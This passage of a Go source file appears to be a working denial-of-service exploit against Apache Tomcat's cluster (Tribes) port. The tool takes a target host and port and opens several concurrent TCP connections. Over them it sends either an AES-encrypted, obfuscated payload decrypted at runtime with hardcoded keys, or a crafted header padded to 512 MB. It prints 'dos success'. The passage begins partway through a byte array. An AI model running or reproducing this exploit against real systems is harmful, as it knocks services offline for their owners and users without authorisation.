0x31, 0x22, 0x63, 0x47, 0x0c, 0xbf, 0xab, 0xd3, 0x48, 0xc7, 0xd9, 0x0a, 0xc6, 0x28, 0xd8,
0xe4, 0x17, 0xda, 0x9f, 0xac, 0xe3, 0x63, 0x2e, 0xd9, 0xdc, 0xe2, 0x17, 0xad, 0xc2, 0xac,
0xf5, 0x92, 0xf3, 0x7c, 0xdd, 0x20, 0xbf, 0x4e, 0x41, 0xc1, 0xad, 0x5e, 0x75, 0xbe, 0xab,
0x15, 0xe7, 0x08, 0x8c, 0x15, 0x4c, 0x40, 0xcc, 0x48, 0xb3, 0x74, 0xb4, 0x48, 0xe8, 0x10,
0xc5, 0xb9, 0x78, 0x8c, 0x1e, 0xaf, 0xca, 0x2e, 0xe1, 0xf4, 0xf6, 0x84, 0x07, 0x2d, 0x9c,
0xc0, 0x4f, 0x3f, 0x08, 0x8e, 0x7b, 0x5a, 0x9c, 0xd7, 0x16, 0x55, 0x2f, 0x79, 0x9e, 0x04,
0x62, 0x7c, 0x0e, 0x43, 0x99, 0x3e, 0xe0, 0x48, 0xa5, 0xd0, 0xc3, 0x2d, 0xfc, 0x04, 0xc5,
0xb0, 0xb2, 0x3d, 0xa0, 0xdd, 0x6d, 0xa5, 0xcb, 0x4f, 0x1d, 0xd3, 0x0a, 0x91, 0x8b, 0x13,
0x74, 0x57, 0x80, 0x8e, 0x5a, 0x5b, 0xd7, 0x79, 0xe1, 0x5d, 0x6b, 0x4f, 0xb9, 0x8d, 0x94,
0xdf, 0xfb, 0xe6, 0x4d, 0xc3, 0xd2, 0x59, 0x22, 0xa0, 0xb5, 0xdf, 0x94, 0xa4, 0xc5, 0x4f,
0x8c, 0xfa, 0x5e, 0x7a, 0x8b, 0xbc, 0x3d, 0xb3, 0x77, 0xd4, 0xd2, 0x84, 0x75, 0x2a, 0x9a,
0x78, 0x35, 0x92, 0xd1, 0xf0, 0x48, 0x49, 0xb5, 0x75, 0x3b, 0x7f, 0x0d, 0xf5, 0xe6, 0x25,
0x8f, 0x61, 0xd3, 0x43, 0x65, 0x0f, 0x8c, 0xba, 0x84, 0x5d, 0x8c, 0x83, 0x06, 0x70, 0x38,
0x7a, 0x43, 0xe0, 0x12, 0x74, 0xd6, 0x46, 0xda, 0xb8, 0x5d, 0x24, 0x20, 0x3d, 0x83, 0xf1,
0x82, 0x9f, 0x1d, 0x61, 0x80, 0x81, 0xc8, 0xa4, 0x89, 0x93, 0xe3, 0x72, 0xf7, 0xf5, 0xa9,
0x2a, 0xdd, 0x5d, 0x7c, 0xc6, 0xa3, 0x4e, 0x96, 0x36, 0x02, 0xcb, 0x50, 0x0b, 0x18, 0x46,
0x5f, 0xaf, 0x4b, 0x03, 0x2c, 0x7b, 0x53, 0xaf, 0xac, 0xca, 0x7d, 0xfe, 0x7d, 0x4d, 0x57,
0x0c, 0x2b, 0x57, 0x10, 0x49, 0x73, 0x03, 0xdb, 0xd3, 0x3d, 0x0d, 0xf2, 0x7c, 0x26, 0xc4,
0x04, 0xaa, 0xb3, 0xbf, 0xf4, 0x78, 0xb5, 0x7d, 0xa1, 0x2f, 0x72, 0x99, 0xcb, 0x22, 0x20,
0x65, 0xf4, 0x30, 0x3c, 0x2a, 0xbc, 0x3f, 0xfa, 0x61, 0x56, 0xf1, 0x6e, 0x81, 0x74, 0x8e,
0x02, 0x1b, 0x17, 0xcc, 0x60, 0xe7, 0xaa, 0xe4, 0x2f, 0x86, 0x5f, 0xac, 0x3e, 0x9b, 0x69,
0x5f, 0x16, 0xc6, 0x95, 0xbf, 0x2d, 0xdf, 0x07, 0x06, 0x20, 0xfb, 0x14, 0x01, 0x6b, 0xfa,
0x7e, 0x24, 0x0b, 0x1f, 0x07, 0xde, 0x0c, 0x3a, 0x6b, 0x55, 0xbd, 0xdd, 0x7a, 0xc0, 0x4a,
0x23, 0x3a, 0x20, 0x40, 0xd6, 0xbc, 0xdf, 0x04, 0x0b, 0x8c,
}
var safePayload = []byte{
0x46, 0x4c, 0x54, 0x32, 0x30, 0x30, 0x32, 0x40, 0x00, 0x00, 0x75, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x01, 0x80, 0x78, 0x12, 0x6b, 0x4e, 0x00, 0x00, 0x00, 0x10, 0xb6, 0x22, 0xf6,
0xb6, 0xd8, 0x59, 0x4d, 0xfe, 0x8d, 0xa0, 0xb5, 0xb1, 0x8c, 0xda, 0x33, 0x7f, 0x00, 0x00,
0x00, 0x4d, 0x54, 0x52, 0x49, 0x42, 0x45, 0x53, 0x2d, 0x42, 0x01, 0x00, 0x00, 0x00, 0x00,
0x35, 0x00, 0x00, 0x01, 0x80, 0x78, 0x12, 0x6e, 0x02, 0x00, 0x01, 0xe2, 0x40, 0xff, 0xff,
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0x04, 0x7f, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x54, 0x52, 0x49, 0x42, 0x45, 0x53,
0x2d, 0x45, 0x01, 0x00, 0x40,
}
var a = []byte{
0x61, 0x6c, 0x70, 0x6f,
0x73, 0x69, 0x63, 0x6d,
0x77, 0x75, 0x73, 0x68,
0x79, 0x68, 0x65, 0x6d,
}
var b = []byte{
0x61, 0x70, 0x73, 0x6d,
0x76, 0x6a, 0x64, 0x75,
0x7a, 0x69, 0x73, 0x6f,
0x77, 0x6c, 0x65, 0x69,
}
var (
host string
port int
safe bool
)
func main() {
flag.StringVar(&host, "h", "127.0.0.1", "target host")
flag.IntVar(&port, "p", 5000, "target port")
flag.BoolVar(&safe, "s", false, "safe config")
flag.Parse()
if safe {
doSafe()
} else {
doUnsafe()
}
}
func doSafe() {
fmt.Println("tomcat dos in safe config")
var maxLen = 536870912
var thread = 10
temp := make([]byte, maxLen)
copy(temp, safePayload)
for i := len(safePayload); i < maxLen; i++ {
temp[i] = 0x00
}
successChan := make(chan bool, thread)
addr := fmt.Sprintf("%s:%d", host, port)
for i := 0; i < thread; i++ {
go exploit(temp, addr, successChan)
}
go wait(successChan, thread)
exit()
}
func doUnsafe() {
var thread = 3
fmt.Println("tomcat dos in unsafe config")
poc, _ := decrypt(payload, a, b)
successChan := make(chan bool, thread)
addr := fmt.Sprintf("%s:%d", host, port)
for i := 0; i < thread; i++ {
go exploit(poc, addr, successChan)
}
go wait(successChan, thread)
exit()
}
func wait(successChan chan bool, thread int) {
times := 0
for {
select {
case <-successChan:
times++
if times == thread {
fmt.Println("print ctrl+c to exit")
}
}
}
}
func exploit(payload []byte, addr string, successChan chan bool) {
conn, err := net.DialTimeout("tcp", addr, 10*time.Second)
if err != nil {
fmt.Println(err)
os.Exit(1)
}
defer func(conn net.Conn) {
_ = conn.Close()
}(conn)
_, err = conn.Write(payload)
if err != nil {
return
}
fmt.Printf("%s\n", "dos success")
successChan <- true
}
func exit() {
c := make(chan os.Signal)
signal.Notify(c, os.Interrupt, os.Kill)
s := <-c
fmt.Println("exit", s)
}
func decrypt(ciphertext []byte, key, iv []byte) ([]byte, error) {
block, err := aes.NewCipher(key)
if err != nil {
return nil, err
}
blockSize := block.BlockSize()
blockMode := cipher.NewCBCDecrypter(block, iv[:blockSize])
origData := make([]byte, len(ciphertext))
blockMode.CryptBlocks(origData, ciphertext)
length := len(origData)
unPadding := int(origData[length-1])
origData = origData[:(length - unPadding)]
return origData, nil
}